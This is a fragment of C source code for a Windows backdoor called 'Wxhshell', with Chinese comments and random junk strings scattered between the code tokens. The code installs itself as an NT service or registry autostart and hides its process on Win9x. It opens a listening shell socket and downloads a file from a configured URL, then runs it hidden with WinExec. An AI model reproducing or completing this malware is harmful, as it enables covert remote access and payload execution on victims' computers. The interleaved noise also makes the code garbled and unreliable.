o B7NmET4 HMODULE hMod; Lr!L}y9T+ char procName[255]; s?4%<jz unsigned long cbNeeded; de3yP, J R8 Z6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s@*,r@< X; e`y:9 CloseHandle(hProcess); ;mCGh~?G +OV%B . if(strstr(procName,"services")) return 1; // 以服务启动 l:>qR/|m "~.8eKRQ return 0; // 注册表启动 }Bv30V2-( } ~ex~(AWh S-H-tFy\\ // 主模块 >\^N\& int StartWxhshell(LPSTR lpCmdLine) Requ.?!fG; { 7J#g1 SOCKET wsl; eH"qI2A BOOL val=TRUE; 5$(b3] int port=0; ?yK%]1O struct sockaddr_in door; RPa?Nv?e Z&?+&q
r^ if(wscfg.ws_autoins) Install(); "<g?x`iz -f-O2G= port=atoi(lpCmdLine); t-?KKU8 ogkz(wZ if(port<=0) port=wscfg.ws_port; M ,.0[+ N|j;=y! WSADATA data; x"zjN'| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z7mGC`> .(gT+5[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +=,4@I% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B.C H9M door.sin_family = AF_INET; YUP%K!k door.sin_addr.s_addr = inet_addr("127.0.0.1"); i-Ge*? door.sin_port = htons(port); (50[,:# "4Wp>B if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A*-]J=:E { closesocket(wsl); ILu0J`;} return 1; @8 oDy$j } {GG~E54&B L*SSv
wSL if(listen(wsl,2) == INVALID_SOCKET) { vUodp#s closesocket(wsl); O9Jx%tolF% return 1; O,V6hU/ * } }]Gi@Nh|o Wxhshell(wsl); >yPFL' WSACleanup(); =2vMw] /eU1(oo&`5 return 0; =0!\F~ ]iE.fQ?;J } jx5[bUp4u lN][xnP // 以NT服务方式启动
01UR VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^J*G%* { o\=i0HR9 DWORD status = 0; ib""Fv7{ DWORD specificError = 0xfffffff; D~i@. k eD`
, serviceStatus.dwServiceType = SERVICE_WIN32; f2SU5e2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; %FR^[H] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XeIUdg4>R serviceStatus.dwWin32ExitCode = 0; 'o#J>a~!9L serviceStatus.dwServiceSpecificExitCode = 0; AD!<%h: serviceStatus.dwCheckPoint = 0; &ttv4BC^r serviceStatus.dwWaitHint = 0; _L `N^I. [Q.4]K2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a|6x!p2X if (hServiceStatusHandle==0) return; Te U7W?M^ %M0mwty] status = GetLastError(); YKX>@)Dxv if (status!=NO_ERROR) 4,*^QK { bN7 UO serviceStatus.dwCurrentState = SERVICE_STOPPED; aJa^~*N/Aa serviceStatus.dwCheckPoint = 0; =p&'_a^$ serviceStatus.dwWaitHint = 0; zb~MF_ &gE serviceStatus.dwWin32ExitCode = status; Kt!IyIa;Ht serviceStatus.dwServiceSpecificExitCode = specificError; 5E oWyy SetServiceStatus(hServiceStatusHandle, &serviceStatus); HHu7{, return; _WjETyh
[H } Uf2v$Jl+Yh Kn!0S<ssR serviceStatus.dwCurrentState = SERVICE_RUNNING; z
kX-"}$8 serviceStatus.dwCheckPoint = 0; BJ.8OU*9]S serviceStatus.dwWaitHint = 0; h<^:Nn if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U<,Kw6K } k1$2a8ja /Vm}+"BCS // 处理NT服务事件,比如:启动、停止 (Q+:N; VOID WINAPI NTServiceHandler(DWORD fdwControl) BHJ'[{U*w { sY;gh`4h switch(fdwControl) V^$rH< { v(Zi;?c case SERVICE_CONTROL_STOP: {i%xs#0h serviceStatus.dwWin32ExitCode = 0; "aCb;2Rs serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Mvsq) serviceStatus.dwCheckPoint = 0; 1f pS"_} serviceStatus.dwWaitHint = 0; 4gkV]"
H! { #Wc #fP SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wru
Fp } 3}#XA+Z return; b[[6X case SERVICE_CONTROL_PAUSE: ;iC'{S serviceStatus.dwCurrentState = SERVICE_PAUSED; PVkN3J break; (P>eWw\0 case SERVICE_CONTROL_CONTINUE: o"ah\"#el serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ Dp:j*H break; #G ,
*j case SERVICE_CONTROL_INTERROGATE: N7I71q| break; 1={Tcq\] }; 6 XOu~+7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); q[|`&6B } ZV q L]}RSE2 // 标准应用程序主函数 2bn@:71` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P7k$^n { k@";i4}A Rn~Xu)@e // 获取操作系统版本 ME10dr OsIsNt=GetOsVer(); _hyxKrm'
6 GetModuleFileName(NULL,ExeFile,MAX_PATH); aEqI51I n40MP5RxY // 从命令行安装 lKhh=Pc2 if(strpbrk(lpCmdLine,"iI")) Install(); SX=0f^ <sCq
x/L // 下载执行文件 !E:Vn *k; if(wscfg.ws_downexe) { ,fG_'3wb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4bFVyv WinExec(wscfg.ws_filenam,SW_HIDE); !
7*_Z= } `i)ePiE ?5YmE(v7 if(!OsIsNt) { Oc/_T> // 如果时win9x,隐藏进程并且设置为注册表启动 +-!|%jG`%v HideProc(); b`W'M:$ StartWxhshell(lpCmdLine); 'iISbOM } 6j"I5,-~! else C.B}Py+
if(StartFromService()) WKIiJ{@L // 以服务方式启动 ,f0g|5yDf StartServiceCtrlDispatcher(DispatchTable); //u76nQ else 7(g&z% // 普通方式启动 |UDD/e StartWxhshell(lpCmdLine); X>GY*XU U:4Og8 return 0; rWfurB5f }
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